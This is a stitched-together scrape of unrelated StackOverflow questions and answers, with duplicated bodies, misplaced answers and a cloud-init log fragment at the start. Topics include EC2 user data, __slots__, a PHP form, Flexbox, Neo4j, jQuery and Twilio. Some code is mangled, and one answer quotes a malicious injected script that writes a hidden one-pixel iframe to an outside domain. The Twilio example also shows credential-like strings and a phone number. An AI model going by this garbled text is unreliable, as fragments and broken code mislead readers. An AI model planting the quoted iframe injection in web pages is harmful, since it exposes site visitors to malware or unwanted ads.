ci-info:    2       172.31.0.0     0.0.0.0     255.255.240.0      eth0      U
Cloud-init v. 0.7.6 running 'modules:config' at Sun, 12 Nov 2017 17:18:26 +0000. Up 6.41 seconds.
Cloud-init v. 0.7.6 running 'modules:final' at Sun, 12 Nov 2017 17:18:26 +0000. Up 6.84 seconds.
Cloud-init v. 0.7.6 finished at Sun, 12 Nov 2017 17:18:26 +0000. Datasource DataSourceEc2.  Up 6.93 seconds

I looked on StackOverflow for similar posts, and found this: user data script doesn't launch with ec2 instance. The accepted answer says that user data scripts only execute on the first boot cycle- does that mean I need to terminate my instance and launch a completely fresh instance in order to execute my script? In which case, I feel like that defeats the whole purpose of a startup script to begin with!

EDIT: I added in a few echo test statements to see if they were being printed out in the logs- nope!

However, I did try curl http://169.254.169.254/latest/meta-data from my EC2 instance, and got back this output:

#!/bin/bash
echo "Testing 1"
yum update -y
echo "Testing 2"
yum install -y httpd24 php56 mysql55-server php56-mysqlnd
echo "Testing 3"
service httpd start
chkconfig httpd on

So it's definitely loading my user data... just not executing it.


问:
Usage of __slots__?
What is the purpose of __slots__ in Python — especially with respect to when I would want to use it, and when not?

答:
You have — essentially — no use for __slots__.

For the time when you think you might need __slots__, you actually want to use Lightweight or Flyweight design patterns. These are cases when you no longer want to use purely Python objects. Instead, you want a Python object-like wrapper around an array, struct, or numpy array.

```<code>class Flyweight(object):

    def get(self, theData, index):
        return theData[index]

    def set(self, theData, index, value):
        theData[index]= value
</code>```

The class-like wrapper has no attributes — it just provides methods that act on the underlying data. The methods can be reduced to class methods. Indeed, it could be reduced to just functions operating on the underlying array of data.

OwnerDisplayName: Jeb

Title: Usage of __slots__?

LastEditorDisplayName: Roger Pate

Body:
You have — essentially — no use for __slots__.

For the time when you think you might need __slots__, you actually want to use Lightweight or Flyweight design patterns. These are cases when you no longer want to use purely Python objects. Instead, you want a Python object-like wrapper around an array, struct, or numpy array.

class Flyweight(object):

    def get(self, theData, index):
        return theData[index]

    def set(self, theData, index, value):
        theData[index]= value

The class-like wrapper has no attributes — it just provides methods that act on the underlying data. The methods can be reduced to class methods. Indeed, it could be reduced to just functions operating on the underlying array of data.


问:
Can we use libGDX for rendering models instead of OpenGL in ARcore?
I am trying to build small app which basically detect a plane using ARCore and place some 3D model on that plane. I have seen Sample code of ARCore and it requires too much boiler plate code to render model using openGL. So I was wondering can we use libGDX for rendering. I tried searching sample project but did not find any.I don't want to use unity keeping APK size constrain in mind. I am new to these things and any help is welcomed.</p>

答:
I looked into using ARCore and LibGDX and built a little sample.  It's a little long to post as an answer but the highlights are:

Extend AndroidApplication to add the Activity level ARCore calls to initialize the Session, get the permissions for the camera.

Extend AndroidGraphics to integrate the ARCore render loop.

Extend ApplicationListener to overload a render method to pass in the ARCore Frame, so rendering has access to the ARCore information.

I shared my project at https://github.com/google/helloargdx.


问:
PHP Contact Form POST_Method
I am trying to build a really simple Contact form for my personal website

```<code><?php
if(isset($_POST["submit"])){
  echo $_POST["name"];
  echo $_POST["email"];
}
?>

<html>
<body>
   <form action="" method="post">
    <p>
      <label for="name"> Name: </label><br>
      <input type="text" name="name" id="name" />
    </p>

     <p>
      <label for="email"> Email: </label><br>
      <input type="text" name="email" id="email" />
     </p>

  <p>
      <label for="message"> Message: </label><br>
       <textarea name="message" id="message"></textarea>
   </p>

   <p>
      <input type="submit" value="Submit" />
    </p>
 </form>

 </body>
 </html>
</code>```

However, nothing appears when I try to echo the post value after pressing submit. I tried using get instead of post and I can see the data from the input field appearing in my URL.

What went wrong?

答:
Add name='submit' to your submit button..

The first line checking for the submit button doesn't get executed as your html form doesn't have the name attribute on the submit button.

Title: PHP Contact Form POST_Method

Body:
I am trying to build a really simple Contact form for my personal website

<?php
if(isset($_POST["submit"])){
  echo $_POST["name"];
  echo $_POST["email"];
}
?>

   <form action="" method="post">

       Name:

      <input type="text" name="name" id="name" />

       Email:

      <input type="text" name="email" id="email" />

       Message:

       <textarea name="message" id="message"></textarea>

      <input type="submit" value="Submit" />

 </form>

However, nothing appears when I try to echo the post value after pressing submit. I tried using get instead of post and I can see the data from the input field appearing in my URL.

What went wrong?


答:
The unescaped code is:

```<code>document.write('<iframe src="http://sedpoo.com/?338375" width=1 height=1></iframe>')
</code>```

Which is creating an iFrame to http://sedpoo.com/?338375 which I assume will generate pop-ups for advertising etc

Title: This site may be distributing malware ? strange javascript?

Body:
My website www.safwanmanpower.com is attacked by a malware script in each page i don't know wt this script is all about can anybody how this script make my website malware affected ??

hoping for quick and positive response.

edited

how sumone can attacked my website without an permission of uploading ??

Body:
The unescaped code is:

document.write('<iframe src="http://sedpoo.com/?338375" width=1 height=1></iframe>')

Which is creating an iFrame to http://sedpoo.com/?338375 which I assume will generate pop-ups for advertising etc


问:
Flexbox - how to create this layout
Am trying to create the below layout in Flexbox, but am struggling.

The green area takes up 20% of the page (horizontally), and the right two areas take up the remaining 80%. I'm thinking that it's best to have these as three separate containers in flexbox, as there will be lots of content that will need spacing inside each container.

Could anybody show me how this is made in flexbot? I just need the css for each container.

答:
Using CSS Flexbox you can divide your layout into 2 parts (.left & .right where both are 20% and 80% respectively), like:

```<code>.child.left {
  flex: 20;
  background: green;
}

.child.right {
  flex: 80;
  display: flex;
  flex-direction: column;
}
</code>```

And inside the .right child again divide the layout into 2 parts (make sure you should use flex-direction: column so that you can have a top bottom layout) and then divide the layout into 2 parts again with 20% & 80% respectively, like:

```<code>.child.right .top {
  flex: 20;
  background: red;
}

.child.right .bottom {
  flex: 80;
  background: blue;
}
</code>```

Have a look at the working snippet below:

body {
  margin: 0;
}

.parent {
  display: flex;
  width: 100vw;
  height: 100vh;
}

.child.left {
  flex: 20;
  background: green;
}

.child.right {
  flex: 80;
  display: flex;
  flex-direction: column;
}

.child.right .top {
  flex: 20;
  background: red;
}

.child.right .bottom {
  flex: 80;
  background: blue;
}```
<pre class="snippet-code-html lang-html prettyprint-override"><code><div class="parent">
  <div class="child left"></div>
  <div class="child right">
    <div class="top"></div>
    <div class="bottom"></div>
  </div>
</div></code>```

Hope this helps!

Title: Flexbox - how to create this layout

Body:
Using CSS Flexbox you can divide your layout into 2 parts (.left & .right where both are 20% and 80% respectively), like:

.child.left {
  flex: 20;
  background: green;
}

.child.right {
  flex: 80;
  display: flex;
  flex-direction: column;
}

And inside the .right child again divide the layout into 2 parts (make sure you should use flex-direction: column so that you can have a top bottom layout) and then divide the layout into 2 parts again with 20% & 80% respectively, like:

.child.right .top {
  flex: 20;
  background: red;
}

.child.right .bottom {
  flex: 80;
  background: blue;
}

Have a look at the working snippet below:

body {
  margin: 0;
}

.parent {
  display: flex;
  width: 100vw;
  height: 100vh;
}

.child.left {
  flex: 20;
  background: green;
}

.child.right {
  flex: 80;
  display: flex;
  flex-direction: column;
}

.child.right .top {
  flex: 20;
  background: red;
}

.child.right .bottom {
  flex: 80;
  background: blue;
}

<div class="parent">
  <div class="child left"></div>
  <div class="child right">
    <div class="top"></div>
    <div class="bottom"></div>
  </div>
</div>

Hope this helps!


问:
Node.JS not appending string weird bug?
```<code>function getStatementValue(view, statement){ // vars "@extends('parentview') ", 'extends'
    var parentname = "";

    view.replace(new RegExp(/\B@\w+\('([^(')\W]+)'\)\s/, 'm'), function(occurance){
        parentname = occurance.replace('@' + statement + '(\'', '')
            .replace('\')', "");
        console.log(parentname) // parentview
        console.log(parentname + 'test') // testntview <- unexpected result
    });

    return parentname;
}
</code>```

I've got no clue to how that result is appearing.
when I add the string as shown in console.log, it replaces the string from the beginning, almost like it's re-assigning the memory space. Is this supposed to be happening? How do I return the correct parentviewtest result?

答:
```<code>parentname = occurance.replace('@' + statement + '(\'', '')
     .replace('\')', "").trim();
</code>```

Solved it by adding a .trim() to the string modification. My input included invisible \r and \n characters that I was unaware of.

Thanks to @JaromandaX for spotting that out

Title: Node.JS not appending string weird bug?

Body:
function getStatementValue(view, statement){ // vars "@extends('parentview') ", 'extends'
    var parentname = "";

    view.replace(new RegExp(/\B@\w+\('([^(')\W]+)'\)\s/, 'm'), function(occurance){
        parentname = occurance.replace('@' + statement + '(\'', '')
            .replace('\')', "");
        console.log(parentname) // parentview
        console.log(parentname + 'test') // testntview <- unexpected result
    });

    return parentname;
}

I've got no clue to how that result is appearing.
when I add the string as shown in console.log, it replaces the string from the beginning, almost like it's re-assigning the memory space. Is this supposed to be happening? How do I return the correct parentviewtest result?

Body:
parentname = occurance.replace('@' + statement + '(\'', '')
     .replace('\')', "").trim();

Solved it by adding a .trim() to the string modification. My input included invisible \r and \n characters that I was unaware of.

Thanks to @JaromandaX for spotting that out


问:
DriveApp.getFolderById results in "you do not have permission" error
I am having issues with the getFolderById function. I am the owner of the folder in question. The specific call is as follows.

```<code>var folder = DriveApp.getFolderById('string_id_of_my_folder');
</code>```

I am passing the long string of the ID of the folder inside the function.
I ran the function inside the editor to make sure permissions have been turned on - and I'm not getting any errors.

But when I try to run the function inside the spreadsheet, I get the following error message: "You do not have permission to call getFolderById".

What am I doing wrong?

答:
The issue here is that custom functions & simple triggers run with limited permissions: you can't perform actions that require user credentials, like reading from another file. These limitations are spelled out here for custom functions & here for simple triggers.

Installable triggers don't have this limitation. So if you needed to access another when you open your current file or from a standalone script, you'll need to install an Open trigger. Here's Google's documentation.

Body:
I am having issues with the getFolderById function. I am the owner of the folder in question. The specific call is as follows.

var folder = DriveApp.getFolderById('string_id_of_my_folder');

I am passing the long string of the ID of the folder inside the function.
I ran the function inside the editor to make sure permissions have been turned on - and I'm not getting any errors.

But when I try to run the function inside the spreadsheet, I get the following error message: "You do not have permission to call getFolderById".

What am I doing wrong?


问:
Neo4J how to count all the descendants of a single ancestor for a specified relationship type
Does Neo4j provide a native query method to search and count all the descendants of a node for a specified relationship type such as REFERRED?
I'm trying to build a system to record 'A referred B' type of relationships for each referral.  It's required to real time count all the references from A down to the bottom which was caused by A.
The picture might look like this:

```<code>        A
       / \
      B   C
     / \  /\
    D  E F  G
   / \  / \  \
  M   N O  P  Q
</code>```

ANY suggestion please?

Thanks!

答:
You can use the the Cypher query language to investigate Neo4j graphs;  and certainly with Cypher you can construct a query to give you the answer to your question.

Assuming for your question the A node has an id property of uid='A'and the relationship type is 'Referred' then the query could look like:

```<code>MATCH ({uid:'A'}) -[:Referred *1..]-> (n) RETURN COUNT(DISTINCT n)
</code>```

Here the first part

```<code>MATCH ({uid:'A'})
</code>```

indicates a starting point for your query.  The Second part

```<code>-[:Referred *1..]->
</code>```

describes which relations to follow.  The next part

```<code>(n)
</code>```

names the terminating nodes for your query and lastly

```<code>RETURN COUNT(DISTINCT n)
</code>```

returns a count of those nodes.

Body:
Does Neo4j provide a native query method to search and count all the descendants of a node for a specified relationship type such as REFERRED?
I'm trying to build a system to record 'A referred B' type of relationships for each referral.  It's required to real time count all the references from A down to the bottom which was caused by A.
The picture might look like this:

        A
       / \
      B   C
     / \  /\
    D  E F  G
   / \  / \  \
  M   N O  P  Q

ANY suggestion please?

Thanks!

Body:
You can use the the Cypher query language to investigate Neo4j graphs;  and certainly with Cypher you can construct a query to give you the answer to your question.

Assuming for your question the A node has an id property of uid='A'and the relationship type is 'Referred' then the query could look like:

MATCH ({uid:'A'}) -[:Referred *1..]-> (n) RETURN COUNT(DISTINCT n)

Here the first part

MATCH ({uid:'A'})

indicates a starting point for your query.  The Second part

-[:Referred *1..]->

describes which relations to follow.  The next part

(n)

names the terminating nodes for your query and lastly

RETURN COUNT(DISTINCT n)

returns a count of those nodes.


问:
jQuery's cloned elements lose click events after being removed and appended to a container twice
Check this fiddle: https://jsfiddle.net/L6poures/

```<code>item.click(function()
{
    alert("It works")
})

$("#container").append(item)

var stored = item.clone(true, true)

function add_remove()
{
    $("#container").html("")
    $("#container").append(stored)
}
</code>```

Basically, if I clone an element with .clone(true, true), after I replace the container with .html and appended again, and  repeat that process again, the click event is gone.

Is there something wrong with jQuery or am I doing something wrong?

答:
Check the below code (have made minor changes to your code, to make it work). You don't even need to clone():

var item = $("
Hi
");

$("#container").on('click', '#item', function() {
  alert("It works");
});

$("#container").append(item);

function add_remove() {
  $("#container").html("").append(item);
  alert('cloned and appended successfully.');
}```
<pre class="snippet-code-html lang-html prettyprint-override"><code><script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<div id='container'></div>

<br>

<button onclick="add_remove()">
  Remove And Add Again
</button></code>```

Body:
Check this fiddle: https://jsfiddle.net/L6poures/

item.click(function()
{
    alert("It works")
})

$("#container").append(item)

var stored = item.clone(true, true)

function add_remove()
{
    $("#container").html("")
    $("#container").append(stored)
}

Basically, if I clone an element with .clone(true, true), after I replace the container with .html and appended again, and  repeat that process again, the click event is gone.

Is there something wrong with jQuery or am I doing something wrong?

Body:
Check the below code (have made minor changes to your code, to make it work). You don't even need to clone():

var item = $("<div id='item'>Hi</div>");

$("#container").on('click', '#item', function() {
  alert("It works");
});

$("#container").append(item);

function add_remove() {
  $("#container").html("").append(item);
  alert('cloned and appended successfully.');
}

<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<div id='container'></div>

<br>

<button onclick="add_remove()">
  Remove And Add Again
</button>


答:
You should give a name to submit  button. like below</p>

```<code>  <input type="submit" name="submit" value="Submit" />
</code>```

Title: PHP Contact Form POST_Method

Body:
You should give a name to submit  button. like below

  <input type="submit" name="submit" value="Submit" />


问:
SMS with Twilio Test Credential does not work
I am using Twilio Test crredentials o send a sample SMS message to my phone number  which is already verified. When I run this script, it returns an SID and seems to work as expected only that I never receive the ext.. What am I missing?</p>

```<code>from twilio.rest import Client

# Your Account Sid and Auth Token from twilio.com/user/account
account_sid = "AC3196c6a6fchha5de2c64a57e453e8e4b35"
auth_token = "fa1b7f6fdf3384ece5f5eda67cf7b42e28b"
client = Client(account_sid, auth_token)

message = client.messages.create(
        to = "+12068515737",
        from_ = "+15005550006",
        body = "Jenny please?! I love you <3")
print(message.sid)
</code>```

答:
Twilio developer evangelist here.

That is the expected result when using test credentials. They are supposed to behave like real credentials, but never actually cause a message to be sent, or the call to be made or number to be bought. They are just for testing that the HTTP request was made correctly.

To send a message, you should use your real credentials. If you still have a trial account and a verified number, then you can send a message to that verified number using your trial account and it won't cost you anything. Only once you upgrade your account and add credit yourself will it cost to send an SMS message.

Let me know if that helps at all.

Body:
I am using Twilio Test crredentials o send a sample SMS message to my phone number  which is already verified. When I run this script, it returns an SID and seems to work as expected only that I never receive the ext.. What am I missing?

from twilio.rest import Client

# Your Account Sid and Auth Token from twilio.com/user/account
account_sid = "AC3196c6a6fchha5de2c64a57e453e8e4b35"
auth_token = "fa1b7f6fdf3384ece5f5eda67cf7b42e28b"
client = Client(account_sid, auth_token)

message = client.messages.create(
        to = "+12068515737",
        from_ = "+15005550006",
        body = "Jenny please?! I love you <3")
print(message.sid)